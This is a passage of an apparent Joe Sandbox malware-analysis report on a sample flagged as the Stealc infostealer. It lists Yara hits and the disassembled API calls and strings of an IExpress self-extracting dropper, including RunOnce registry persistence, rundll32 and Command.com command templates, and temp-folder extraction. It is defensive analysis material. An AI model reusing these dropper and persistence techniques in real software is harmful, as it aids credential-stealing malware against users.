Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000003.2810499954.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.2851008315.0000000000551000.00000040.00000001.01000000.00000016.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.2852271212.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	04:14:39
Start date:	05/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5256 --field-trial-handle=2116,i,2418828166880816083,3017144160648805089,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	31%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	31.7%
Total number of Nodes:	919
Total number of Limit Nodes:	25

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0021202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00212050
memset.MSVCRT ref: 0021205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 0021208C

Part of subcall function 0021171E: _vsnprintf.MSVCRT ref: 00211750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000000,00000000,?,?,?,?,?), ref: 002120C9
RegCloseKey.ADVAPI32(?,?,?,?,?), ref: 002120EA
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00212103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?), ref: 00212122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 00212134
FreeLibrary.KERNELBASE(00000000,?,?,?,?), ref: 00212144
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0021215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?), ref: 0021218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 002121C1
RegCloseKey.ADVAPI32(?,?,?,?,?), ref: 002121E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 0021223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 00212249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00212250

Strings

DelNodeRunDLL32, xrefs: 0021212E
wextract_cleanup%d, xrefs: 0021209E
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 002121A8, 00212204
wextract_cleanup0, xrefs: 002120A5, 002120BE, 002120F0, 00212232
advpack.dll, xrefs: 00212109
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 002121F6
%s /D:%s, xrefs: 002121FF, 00212210
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00212082

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 178549006-1709460465
Opcode ID: b4cdc473682922ecfed4a885e45fa049faaaa7a400add232bf49e09fab2847db
Instruction ID: ca3a63701e5f1d4541fdd4dae620b37b17beb855e2ba682204bdd12db5052156
Opcode Fuzzy Hash: b4cdc473682922ecfed4a885e45fa049faaaa7a400add232bf49e09fab2847db
Instruction Fuzzy Hash: 42510571921214BBDB209F60EC4DFFB77BDEB75700F0041A4BA49A2151DE718EE98A50

Function 00213BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00213C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 00213CDC

Part of subcall function 0021468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002146A0
Part of subcall function 0021468F: SizeofResource.KERNEL32(00000000,00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146A9
Part of subcall function 0021468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002146C3
Part of subcall function 0021468F: LoadResource.KERNEL32(00000000,00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146CC
Part of subcall function 0021468F: LockResource.KERNEL32(00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146D3
Part of subcall function 0021468F: memcpy_s.MSVCRT ref: 002146E5
Part of subcall function 0021468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 002146EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,00218C42), ref: 00213D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 00213E26
FreeLibrary.KERNEL32(00000000,?,00218C42), ref: 00213EFF
LocalFree.KERNEL32(?,?,?,?,00218C42), ref: 00213F1F
FreeLibrary.KERNEL32(00000000,?,00218C42), ref: 00213F40
LocalFree.KERNEL32(?,?,?,?,00218C42), ref: 00213F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,00218C42), ref: 00213F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,00218C42), ref: 00213F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,00218C42), ref: 00213FC2

Strings

valid, xrefs: 00213E68
DoInfInstall, xrefs: 00213E1F, 00213E24, 00213F68
POSTRUNPROGRAM, xrefs: 00213D60
D, xrefs: 00213C19
USRQCMD, xrefs: 00213CAD
SHOWWINDOW, xrefs: 00213C34
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00213E74
advpack.dll, xrefs: 00213F9D
ADMQCMD, xrefs: 00213C9E
REBOOT, xrefs: 00213BE2
RUNPROGRAM, xrefs: 00213D05
<None>, xrefs: 00213CC9, 00213D7D

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$valid
API String ID: 1032054927-2408452671
Opcode ID: f9683c3ed75c1f60b563044d1c4600b15e56f005e7f117dc3c59cd61ac500ea3
Instruction ID: a86babc443b2954a5ed1eed615739395cc015678b5c9ca3408e10e4acceda49f
Opcode Fuzzy Hash: f9683c3ed75c1f60b563044d1c4600b15e56f005e7f117dc3c59cd61ac500ea3
Instruction Fuzzy Hash: B6B1E6705243029BD720DF24A849BEB76E6EBB5710F10492EFA89D61D0DB70C9E5CB92

Function 00211AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00211BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00211BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00211C57
GetPrivateProfileIntA.KERNEL32(?,Reboot,00000000,?), ref: 00211C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,00211140,00000000,00000008,?), ref: 00211CB8
GetShortPathNameA.KERNEL32(?,?,00000104), ref: 00211D1B

Part of subcall function 002144B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00214518
Part of subcall function 002144B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00214554

Strings

rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00211D3B
Reboot, xrefs: 00211C82
.INF, xrefs: 00211BDB
Command.com /c %s, xrefs: 00211D9B, 00211DE8
setupapi.dll, xrefs: 00211D23, 00211D3A
DefaultInstall, xrefs: 00211C74, 00211C87, 00211CCE, 00211CD3, 00211D2D, 00211D39
AdvancedINF, xrefs: 00211CAE
Version, xrefs: 00211CB3
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00211BA0
.BAT, xrefs: 00211D83
", xrefs: 00211B25
setupx.dll, xrefs: 00211D14

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-472070384
Opcode ID: 1e5fc37246067eba6b7f3b856114301e0e0098c523325b11a2b785683a4f057b
Instruction ID: 94c49e9836877d480f4b98d74d06f97dd7483851da8d357ae05bf5d0dd2fa88d
Opcode Fuzzy Hash: 1e5fc37246067eba6b7f3b856114301e0e0098c523325b11a2b785683a4f057b
Instruction Fuzzy Hash: DFA15970A242196BEB209F24DC45BEA77E99F75310F1442A5E759A32C0DFB08EF5CB50

Function 00212CAA Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 183
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00212CD9
memset.MSVCRT ref: 00212CE9
memset.MSVCRT ref: 00212CF9

Part of subcall function 0021468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002146A0
Part of subcall function 0021468F: SizeofResource.KERNEL32(00000000,00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146A9
Part of subcall function 0021468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002146C3
Part of subcall function 0021468F: LoadResource.KERNEL32(00000000,00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146CC
Part of subcall function 0021468F: LockResource.KERNEL32(00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146D3
Part of subcall function 0021468F: memcpy_s.MSVCRT ref: 002146E5
Part of subcall function 0021468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 002146EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00212D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 00212D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00212DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 00212DBD
CloseHandle.KERNEL32(valid,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00212E0A

Part of subcall function 002144B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00214518
Part of subcall function 002144B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00214554

Strings

valid, xrefs: 00212D04, 00212DD9, 00212DF0
VERCHECK, xrefs: 00212E54
TITLE, xrefs: 00212D09
EXTRACTOPT, xrefs: 00212D4D
INSTANCECHECK, xrefs: 00212D95

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$valid
API String ID: 1002816675-2613340241
Opcode ID: 921d1d7f2ea37a5f7eaa3f5a828932af262eecf90ffb4566ff6442c59ec93e62
Instruction ID: 410c3ef8402eb3792c112d3d9569364a03375c2b21afe552af5314df0c49f4ad
Opcode Fuzzy Hash: 921d1d7f2ea37a5f7eaa3f5a828932af262eecf90ffb4566ff6442c59ec93e62
Instruction Fuzzy Hash: DD51D470770302EBE724AB20AC5EBFB36D9DB76700F108035BA45D61D1DEB498F98A15

Function 0021597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 002159A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 002159AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 00215A13
MulDiv.KERNEL32(?,?,00000400), ref: 00215A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00215A64
memset.MSVCRT ref: 00215A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00215A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00215AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 00215BFC

Part of subcall function 002144B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00214518
Part of subcall function 002144B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00214554

Part of subcall function 00216285: GetLastError.KERNEL32(00215BBC), ref: 00216285

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: f4169074bb7180219b0cd8b376604ff085925891f9d7163b8139d0fe04409f82
Instruction ID: 149a8919a429764c213d0577bd8ebdc98eeddccc94d49470ef02b4e5557231f6
Opcode Fuzzy Hash: f4169074bb7180219b0cd8b376604ff085925891f9d7163b8139d0fe04409f82
Instruction Fuzzy Hash: 6871A0B1921219AFEB259F20DC89BFB77ECEBA8344F1440AAF40592140DA309FD48F60

Function 00212F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000105), ref: 00212F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 00212FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 00212FC6
DecryptFileA.ADVAPI32 ref: 00212FE6
FreeLibrary.KERNEL32(00000000), ref: 00212FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 0021301C

Part of subcall function 002151E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00212F4D,?,00000002,00000000), ref: 00215201

Strings

DecryptFileA, xrefs: 00212FC0
advapi32.dll, xrefs: 00212F99
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00212FDB, 00213017

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-3123416969
Opcode ID: 8f50ac37dfe87e0a83d4abffe0d476bf4b115f93586193a1f53c7c5c54145581
Instruction ID: e426870538efdaed9eb8d400fb3ada8419a80368c64d99463bd5cc49c5bc5c57
Opcode Fuzzy Hash: 8f50ac37dfe87e0a83d4abffe0d476bf4b115f93586193a1f53c7c5c54145581
Instruction Fuzzy Hash: B7417E31A202169BDB30EF71AC8D7EA32EA9B78750F104065E945C2591EF748EE48A61

Function 00215467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 002154C9
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0021553D
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0021556F

Part of subcall function 002153A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 002153FB
Part of subcall function 002153A1: GetFileAttributesA.KERNELBASE(?), ref: 00215402
Part of subcall function 002153A1: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?), ref: 0021541F
Part of subcall function 002153A1: DeleteFileA.KERNEL32(?), ref: 0021542B
Part of subcall function 002153A1: CreateDirectoryA.KERNEL32(?,00000000), ref: 00215434

Strings

alpha, xrefs: 002154F0
mips, xrefs: 002154F7
ppc, xrefs: 002154E9
i386, xrefs: 002154FE
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 0021547D, 00215481, 002154AB, 0021551C, 0021553C, 00215568

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-3703068183
Opcode ID: b7695c1cfe828577a6c9df15e914f26981c2deb54c8b9238c7df990ed12db3db
Instruction ID: 10ed915f59c5d7d0656a0365ffb134573bf215d1f9199ebbb77d6eddddd266e1
Opcode Fuzzy Hash: b7695c1cfe828577a6c9df15e914f26981c2deb54c8b9238c7df990ed12db3db
Instruction Fuzzy Hash: 5D312870730A25FBCB109F29AC486FE76DBAFF1740B5441BAA905C2144DF748EF18A81

Function 00212390 Relevance: 12.1, APIs: 8, Instructions: 93filestringCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(?,00218A3A,002111F4,00218A3A,00000000,?,?), ref: 002123F6
lstrcmpA.KERNEL32(?,002111F8), ref: 00212427
lstrcmpA.KERNEL32(?,002111FC), ref: 0021243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 00212495
DeleteFileA.KERNEL32(?), ref: 002124A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 002124AF
FindClose.KERNELBASE(00000000), ref: 002124BE
RemoveDirectoryA.KERNELBASE(00218A3A), ref: 002124C5

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: cadb99bbc3956a6af0b2ca80f8a9139379c9145de73a3f7055a8cf283210be9a
Instruction ID: 03823a75d69d222820f7c5b7d495eb612c8f16ce144b8ee216458a4055856016
Opcode Fuzzy Hash: cadb99bbc3956a6af0b2ca80f8a9139379c9145de73a3f7055a8cf283210be9a
Instruction Fuzzy Hash: 7131A631214745EBC320DF64DC8DAEB73ECABE5305F04492DB55982190EF3499ADCB52

Function 00212BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,00216BB0,00210000,00000000,00000002,0000000A), ref: 00212C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,00216BB0,00210000,00000000,00000002,0000000A), ref: 00212C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 00212C28
CloseHandle.KERNEL32(00000000,?,?,00216BB0,00210000,00000000,00000002,0000000A), ref: 00212C98

Strings

HeapSetInformation, xrefs: 00212C22
Kernel32.dll, xrefs: 00212C13

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: 86e362c6251cc61783fef7eae130117d3a5f35cb54fce8e8a2dd050ef42f4c65
Instruction ID: cdfd129ee01ba4b3993bb516c23fbe0a1ff49b81e4b4594e9b3113b173c99985
Opcode Fuzzy Hash: 86e362c6251cc61783fef7eae130117d3a5f35cb54fce8e8a2dd050ef42f4c65
Instruction Fuzzy Hash: 0E119431621216EBD7206F75BC9DAEA37DD9B78750B064026BA04D3250DE30DCF98A91

Function 002155A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0021468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002146A0
Part of subcall function 0021468F: SizeofResource.KERNEL32(00000000,00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146A9
Part of subcall function 0021468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002146C3
Part of subcall function 0021468F: LoadResource.KERNEL32(00000000,00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146CC
Part of subcall function 0021468F: LockResource.KERNEL32(00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146D3
Part of subcall function 0021468F: memcpy_s.MSVCRT ref: 002146E5
Part of subcall function 0021468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 002146EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 002155CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 00215638
LocalFree.KERNEL32(00000000), ref: 0021564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00215620

Part of subcall function 002144B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00214518
Part of subcall function 002144B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00214554

Part of subcall function 00216285: GetLastError.KERNEL32(00215BBC), ref: 00216285

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 002156B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 0021571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 00215737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 002157CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 002157EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 00215802

Part of subcall function 00212630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 00212654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 00215830

Part of subcall function 00216517: FindResourceA.KERNEL32(00210000,000007D6,00000005), ref: 0021652A
Part of subcall function 00216517: LoadResource.KERNEL32(00210000,00000000,?,?,00212EE8,00000000,002119E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00216538
Part of subcall function 00216517: DialogBoxIndirectParamA.USER32(00210000,00000000,00000547,002119E0,00000000), ref: 00216557
Part of subcall function 00216517: FreeResource.KERNEL32(00000000,?,?,00212EE8,00000000,002119E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00216560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 00215878

